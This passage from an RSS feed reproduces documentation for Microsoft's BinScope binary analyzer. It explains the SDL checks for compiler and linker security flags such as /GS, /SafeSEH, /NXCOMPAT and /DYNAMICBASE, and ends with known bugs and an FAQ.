<td width="71%" valign="top">Identifies images that have non-/GS-friendly initialization. When using /GS, the executable needs some way to initialize the /GS infrastructure at load time, and usually it is done in CRT startup or similar functions. However, if the executable is linked in such a way that no standard code is executed at startup (such as with /NOENTRY linker option) and no custom /GS-startup routine is provided, that image will be left unprotected. This check identifies these images. For more information, <a href="http://baoz.net/wp-admin/#_Non-GS_friendly_initialization">Non-GS friendly initialization</a></td>
</tr>
<tr>
<td width="28%" valign="top">CompilerCheck</td>
<td width="71%" valign="top">Identifies images that contain C or C++ modules compiled with a compiler older than the version required by the SDL.  Specifically, BinScope checks that the C/C++ compiler (cl.exe) is at least version 14.00.50727 and the CVTRES compiler, the MASM compiler and the linker are at least version 8.00.50727. Those are the versions of the tools contained in Visual Studio 2005.</td>
</tr>
<tr>
<td width="28%" valign="top">DBCheck</td>
<td width="71%" valign="top">Checks if a binary has opted into the ASLR feature.</td>
</tr>
<tr>
<td width="28%" valign="top">SNCheck</td>
<td width="71%" valign="top">Checks for use of strong-named assemblies. A strong name is a digital signature representing a cryptographically unique name for a managed assembly. Integrity of information is protected by digital signature. No piece of the strong name and no bits in the assembly body can be modified without rebuilding the assembly.</td>
</tr>
<tr>
<td width="28%" valign="top">NXCheck</td>
<td width="71%" valign="top">Checks if a binary has opted into Hardware Data Execution Prevention. For more information, see <a href="http://baoz.net/wp-admin/#_/NXCOMPAT_flag">/NXCOMPAT flag</a>.</td>
</tr>
</tbody>
</table>
<h1>BinScope Checks and Compiler/Linker Flags</h1>
<p>This section provides detailed information about BinScope checks associated with compiler/linker options.</p>
<h2>/GS flag</h2>
<p><strong>Purpose</strong>: For various forms of static buffer overruns, the /GS flag provides protection against some elevations. It does this by placing security cookie bits in the function stack before local variables (which are potentially prone to overruns), and verifying that cookies are not modified upon return from the function.</p>
<p><strong>Security Risk</strong>: Very high. Binaries not using it pose extreme danger due to the ease of exploiting overruns.</p>
<p><strong>History</strong>: was introduced in 2002 with .NET 1.0 [C++ compiler version 7.0, VS.NET] in a very rudimentary form. Was subsequently enhanced in .NET 1.1 [7.1], Springboard release of 1.1, and then in .NET 2.0 [8.0 "Whidbey", or VS 2005]. Currently, only the 8.0 /GS level of protection is considered acceptable.</p>
<p><strong>SDL history</strong>: became an SDL requirement in SDL 2.0.</p>
<p><strong>BinScope specific</strong>: file symbols [PDBs] are needed for this check. Without them, the tool often reports vague &#8220;Error&#8221; results.</p>
<p><strong>Applicability:</strong> /GS checks can be ignored for <strong>purely</strong> managed binaries and for files that don&#8217;t contain executable code. Also, BinScope does not detect /GS usage in binaries built with 7.0 C++ compiler.</p>
<h2>/SafeSEH flag</h2>
<p><strong>Purpose</strong>: With this linker option, addresses of all legitimate exception handlers for the image are included in the table of exception handlers. No exception handlers are executed if they are not in that table, so control is very difficult to transfer to handler introduced by an attacker via buffer overrun. This attack scenario takes place in two-steps. First, an attacker causes a buffer overrun and overwrites the exception handler’s data on the function stack with data of the attacker’s choice. Second, the function generates a (valid) exception and control is transferred to the attacker’s handler. Since exception transfers control flow immediately outside of the function, no /GS check has a chance to execute. Therefore, /GS protection without /SafeSEH is not sufficient.</p>
<p><strong>Security Risk</strong>: High. Binaries not having this flag and exposing functions that can potentially cause exceptions are easy to attack with buffer overruns.</p>
<p><strong>History</strong>: Introduced in 2003 with 7.1 C++ compiler [.NET 1.1 or VS 2003]</p>
<p><strong>SDL history</strong>: Became an SDL requirement in SDL 2.0.</p>
<p><strong>BinScope specific</strong>: No special requirements; no PDBs are needed.</p>
<p><strong>Applicability</strong>: The check does not make sense for 64bit binaries, since they do not store exception handler pointers on the stack. Also, SafeSEH requires OS support available in XP SP2 and above only, so this check can be skipped if the application or code is targeting lower level platforms<strong> </strong>only<strong>.</strong></p>
<h2>Non-GS friendly initialization</h2>
<p><strong>Purpose</strong>: One of the first things performed when loading an executable image is initialization of the /GS security cookie with a unique unpredictable value. This functionality can be changed by overriding initialization entry points. In that case, it becomes the developer&#8217;s explicit responsibility to call the cookie initialization routine. Any functions called before the cookie initialization routine is called will have the default security cookie value in their stacks, which is presumably known by attackers. Exploiting buffer overruns in those functions is not much more difficult than when /GS protection is completely lacking.</p>
<p><strong>Security Risk</strong>: Moderate to High depending on when, or if, the cookie initialization function was called.</p>
<p><strong>BinScope specific</strong>: PDB [symbol] files are needed.</p>
<p><strong>Applicability</strong>: Not applicable to purely managed code assemblies.</p>
<h2>/NXCOMPAT flag</h2>
<p><strong>Purpose</strong>: indicates that the binary is compatible with the Data Execution Prevention (DEP) mechanism. DEP disables execution of any code from process memory pages not explicitly marked for execution, and is ON by default in XP SP2 and above. Not having this flag may turn off DEP protection and will ease injection of the shell code when a buffer overrun occurs.</p>
<p>When /GS is on, but /NXCOMPAT is off, attackers are limited to global buffer overruns or much harder to exploit heap overruns.</p>
<p>Note that having /NXCOMPAT for EXE affects the whole process, including all loaded modules.</p>
<p><strong>Security Risk</strong>: Moderate if /GS is on.</p>
<p><strong>History</strong>: Introduced in 2005 [8.0 "Whidbey"].</p>
<p><strong>SDL history</strong>: Was adopted as a requirement in 2005.</p>
<p><strong>BinScope specific</strong>: No PDB files are needed.</p>
<p><strong>Applicability</strong>: Does not make sense for managed code since JIT (just-in-time) runs some binaries built on the fly from process memory pages.</p>
<h2>/DYNAMICBASE  flag</h2>
<p><strong>Purpose</strong>: Address Space Layout Randomization (ASLR) must be enabled on all native code (unmanaged) binaries to protect against <a href="http://en.wikipedia.org/wiki/Return-to-libc_attack">return-to-libc class of attacks</a>. Enabling this functionality requires the flag /DynamicBase in the PE header of all binaries. This flag can be inserted using Visual Studio 2005 SP1 or later. Earlier versions do not contain a linker version that supports it.</p>
<p> <strong>Security Risk</strong>: High. ASLR may reduce the effectiveness of remote return-to-libc attack to 1/256<sup>th</sup> of binaries without ASLR.</p>
<p><strong>History</strong>: Introduced in Visual Studio 2005 SP1.</p>
<p><strong>SDL history</strong>: Became an SDL Requirement in SDL 4.1.</p>
<p><strong>BinScope specific</strong>: No PDB files are needed.</p>
<p><strong>Applicability</strong>: Unmanaged code that implements the IChecks interface from BinScopeLib.dll</p>
<h1>Known Bugs</h1>
<p>The table below lists known bugs in the current version of BinScope.</p>
<p> </p>
<table border="1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td width="204" valign="top">Bug Description</td>
<td width="72" valign="top">Will be fixed…</td>
<td width="168" valign="top">Workaround</td>
<td width="127" valign="top">Additional Notes</td>
</tr>
<tr>
<td width="204" valign="top">In rare cases the Non /GS friendly initialization check can produce false positives.</td>
<td width="72" valign="top">Next Release</td>
<td width="168" valign="top">Manual inspection</td>
<td width="127" valign="top"> </td>
</tr>
<tr>
<td width="204" valign="top"> </td>
<td width="72" valign="top"> </td>
<td width="168" valign="top"> </td>
<td width="127" valign="top"> </td>
</tr>
<tr>
<td width="204" valign="top"> </td>
<td width="72" valign="top"> </td>
<td width="168" valign="top"> </td>
<td width="127" valign="top"> </td>
</tr>
<tr>
<td width="204" valign="top"> </td>
<td width="72" valign="top"> </td>
<td width="168" valign="top"> </td>
<td width="127" valign="top"> </td>
</tr>
<tr>
<td width="204" valign="top"> </td>
<td width="72" valign="top"> </td>
<td width="168" valign="top"> </td>
<td width="127" valign="top"> </td>
</tr>
</tbody>
</table>
<h1>FAQ</h1>
<p><strong>Question</strong> – What is a PDB file? </p>
<p><strong>Answer</strong> – PDB is an abbreviation for “program database.” A PDB file contains debugging and state information that allows incremental linking of a Debug configuration of the application or code. See <a href="http://msdn.microsoft.com/en-us/library/yd4f8bd1(VS.71).aspx">http://msdn.microsoft.com/en-us/library/yd4f8bd1(VS.71).aspx</a>.</p>
<p> </p>
<p><strong>Question</strong> – What happened to the Hotpatch check? </p>
<p><strong>Answer</strong> – The Hotpatch check has been removed from BinScope, as it is no longer an SDL requirement.</p>
<p> </p>
<p><strong>Question</strong> – What is the difference between the &#8220;Error&#8221; and &#8220;Fail&#8221; message? </p>
<p><strong>Answer</strong> – &#8220;Error” means that the check didn’t complete. “Fail” means that the check completed and the result is negative and the corresponding issue needs to be fixed.</p>
<p> </p>
<p><strong>Question</strong> – BinScope terminates with error code 5 when I run it from the command line. What does this mean? </p>
<p><strong>Answer</strong> – The error code returned when running under the command line is equal to the number of failures the tool reported plus the number of errors. BinScope will return 0 only if there are no errors or failures.</p>
<p> </p>
<p><strong>Question</strong> – I provided symbols but BinScope is reporting &#8220;Required debug information in CodeView format is not available.” </p>
<p><strong>Answer</strong> – This usually occurs when you are using stripped or &#8220;public&#8221; symbols. Try using the full or &#8220;private&#8221; symbols instead.</p>
<p> </p>
<p><strong>Question</strong> – Do I need to run BinScope on binaries which are automatically generated by Sgen.exe and don’t have PDBs (for example on auto-generated XML serializer dlls)?</p>
<p><strong>Answer</strong> – You don’t need to run BinScope on them as long as they were generated with the SDL required compiler (which is usually the compiler you use for everything else).</p>
]]></description>
		<wfw:commentRss>http://baoz.net/binscope-binary-analyzer-doc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
